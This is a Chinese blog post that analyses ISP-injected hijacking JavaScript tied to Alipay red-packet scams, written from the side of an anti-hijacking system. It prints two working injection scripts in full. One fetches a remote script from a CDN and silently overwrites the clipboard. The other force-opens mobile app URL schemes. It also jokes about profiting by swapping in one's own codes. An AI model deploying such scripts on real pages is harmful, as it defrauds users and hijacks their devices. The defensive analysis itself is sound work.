反运营商劫持系统上线半年,期间分析过一些典型的劫持案例,由于最近支付宝红包相关的劫持事件越来越多,于是深入研究了下,发现不少有趣的网站。
整理了部分笔记,作为运营商劫持系列的第一篇文章蹭蹭热点。

拳打剪贴板

先看看比较简单的劫持代码:

  1. (function(){
  2. var h = document.getElementsByTagName('head')[0];
  3. var a = document.createElement('script');
  4. a.src = 'http://xxxx.b0.upaiyun.com/xxxx.js';
  5. a.onload = function(){
  6. document.body.insertAdjacentHTML("beforeEnd", '<div id="__btn_" style="position:absolute;filter:alpha(opacity=0);opacity:0;-moz-opacity:0;left:0;top:0;background:#CDEAF6;width:' + document.documentElement.clientWidth + 'px;height:' + document.documentElement.clientHeight + 'px;z-index:233333" data-clipboard-text="快来领取支付宝跨年红包!1月1日起还有机会额外获得专享红包哦!复制此消息,打开最新版支付宝就能领取!xxxxxxxx"></div>');
  7. var btn = document.getElementById('__btn_');
  8. var clipboard = new Clipboard(btn);
  9. clipboard.on('success', function(e) {
  10. var b = document.getElementById('__btn_');
  11. b.parentNode.removeChild(b);
  12. });
  13. clipboard.on('error', function(e) {
  14. var b = document.getElementById('__btn_');
  15. b.parentNode.removeChild(b);
  16. });
  17. };
  18. if (h) {
  19. h.appendChild(a);
  20. }
  21. })();

这段代码的功能很明显是覆盖剪贴板内容为支付宝红包码。
值得注意的是,劫持的 JS 是托管在又拍云下的,一定程度上可以绕过某些检查机制。
比如刚开始我准备把各大 CDN 的子域名都加进白名单,后来发现不少恶意 JS 都放在 CDN 上。
还有些劫持链接类似 https://baidustatic.com.xxx.com/js/jquery.min.js,检查域名后缀或字符串是否存在都是不靠谱的。

脚踢 Scheme

然后是一段高端点的劫持代码:

  1. var schemas = ["alipays://platformapi/startapp?saId=10000007&qrcode=xxxxxx","baiduboxapp://utils?action=sendIntent&params=xxxx","iqiyi://mobile/home?ftype=xxxx","mogujie://open?url=https%3A%2F%2Fact.mogujie.com%2Fxxxxxx","sinaweibo://pageinfo?containerid=xxxxx"];
  2. function openschema(index) {
  3. var l = document.createElement("a");
  4. l.href = schemas[index];
  5. l.style.display = "none";
  6. document.body.appendChild(l);
  7. l.click();
  8. document.removeEventListener("touchend", openschema, false);
  9. setCookie("hasup"+index, "up", 1);
  10. }
  11. function setCookie(name, value, Days) {
  12. if (Days == null || Days == '') {
  13. Days = 1;
  14. }
  15. var exp = new Date();
  16. exp.setTime(exp.getTime() + Days * 12 * 60 * 60 * 1000);
  17. document.cookie = name + "=" + escape(value) + "; path=/;expires=" + exp.toGMTString();
  18. }
  19. function getCookie(name) {
  20. var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
  21. if (arr = document.cookie.match(reg))
  22. return unescape(arr[2]);
  23. else
  24. return null;
  25. }
  26. ;
  27. (function (a, d, b, e) {
  28. if (/ios|ipad|iphone|itouch|android|linux/i.test(d.userAgent)) {
  29. var round = Math.round(Math.random() * (schemas.length - 1));
  30. foo(getCookie("hasup"+round), round);
  31. }
  32. function foo(val, index) {
  33. if (val == null) {
  34. if (/android|linux/i.test(d.userAgent)) {
  35. try {
  36. var c = b.createElement("iframe");
  37. c.src = a[index];
  38. c.style.display = "none";
  39. b.body.appendChild(c);
  40. b.addEventListener("touchend", openschema(index), false);
  41. } catch (g) {}
  42. } else {
  43. try {
  44. e.replace(a[index])
  45. } catch (g) {
  46. try {
  47. e.href = a[index]
  48. } catch (h) {}
  49. }
  50. setCookie("hasup" + index, "up", 1);
  51. }
  52. }
  53. };
  54. })(schemas, navigator, document, window.location);

直接调用手机 APP 的 URL Scheme,达到的效果就是自动跳转到支付宝领红包,或是打开其他应用里的推广。
(说起来前不久的应用克隆漏洞用支付宝做演示,其中的一环也是利用 URL Scheme 接触到 File 域)

数据管理系统

在分析一个混淆后的 JS 劫持文件时发现了个神秘的网站:

admin.png

进入后台,在库管理功能中有针对不同地区运营商的配置:

1516547260878.jpg

以某市移动为例:

yd.png

其关键字实际为淘宝的口令:

taobao.png

而 custom 的配置里关键字很明显是支付宝红包码:

custom.png

进一步研究发现,该劫持系统与多个劫持域名有关,单配置每日劫持量就有数百万。
其劫持代码可根据不同用户的后台配置作出不同的劫持行为,可谓非常先进了。
(如果把红包码换成自己的是不是能日入上万 XD)

最后,对于某些名曰流量优化实际上与运营商狼狈为奸的「互联网信息技术公司」表示遗憾。